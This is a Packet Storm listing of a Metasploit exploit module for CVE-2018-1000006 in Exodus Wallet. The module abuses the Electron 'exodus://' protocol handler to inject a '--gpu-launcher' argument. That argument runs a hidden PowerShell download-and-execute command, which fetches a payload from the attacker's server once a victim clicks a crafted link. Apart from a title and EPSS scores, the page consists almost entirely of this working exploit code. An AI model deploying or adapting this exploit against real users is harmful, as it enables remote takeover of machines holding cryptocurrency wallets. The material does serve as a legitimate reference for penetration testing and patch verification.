Exodus Wallet (ElectronJS Framework) Remote Code Execution

2018-03-2900:00:00

Daniel Teixeira

packetstormsecurity.com

0.969 High

EPSS

Percentile

99.7%

JSON

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core/exploit/powershell'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::EXE  
include Msf::Exploit::Powershell  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Exodus Wallet (ElectronJS Framework) remote Code Execution',  
'Description' => %q(  
This module exploits a Remote Code Execution vulnerability in Exodus Wallet,  
a vulnerability in the ElectronJS Framework protocol handler can be used to  
get arbitrary command execution if the user clicks on a specially crafted URL.  
),  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Wflki', # Original exploit author  
'Daniel Teixeira' # MSF module author  
],  
'DefaultOptions' =>  
{  
'SRVPORT' => '80',  
'URIPATH' => '/',  
},  
'References' =>  
[  
[ 'EDB', '43899' ],  
[ 'BID', '102796' ],  
[ 'CVE', '2018-1000006' ],  
],  
'Platform' => 'win',  
'Targets' =>  
[  
['PSH (Binary)', {  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64]  
}]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jan 25 2018'  
))  
  
register_advanced_options(  
[  
OptBool.new('PSH-Proxy', [ true, 'PSH - Use the system proxy', true ]),  
], self.class  
)  
end  
  
def gen_psh(url)  
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl  
  
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))  
  
download_and_run = "#{ignore_cert}#{download_string}"  
  
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)  
end  
  
def serve_payload(cli)  
data = cmd_psh_payload(payload.encoded,  
payload_instance.arch.first,  
remove_comspec: true,  
exec_in_place: true  
)  
  
print_status("Delivering Payload")  
send_response_html(cli, data, 'Content-Type' => 'application/octet-stream')  
end  
  
def serve_page(cli)  
psh = gen_psh("#{get_uri}payload")  
psh_escaped = psh.gsub("\\","\\\\\\\\").gsub("'","\\\\'")  
val = rand_text_alpha(5)  
  
html = %Q|<html>  
<!doctype html>  
<script>  
window.location = 'exodus://#{val}" --gpu-launcher="cmd.exe /k #{psh_escaped}" --#{val}='  
</script>  
</html>  
|  
send_response_html(cli, html)  
end  
  
def on_request_uri(cli, request)  
case request.uri  
when /payload$/  
serve_payload(cli)  
else  
serve_page(cli)  
end  
end  
  
end  
`

0.969 High

EPSS

Percentile

99.7%

JSON

Related for PACKETSTORM:146947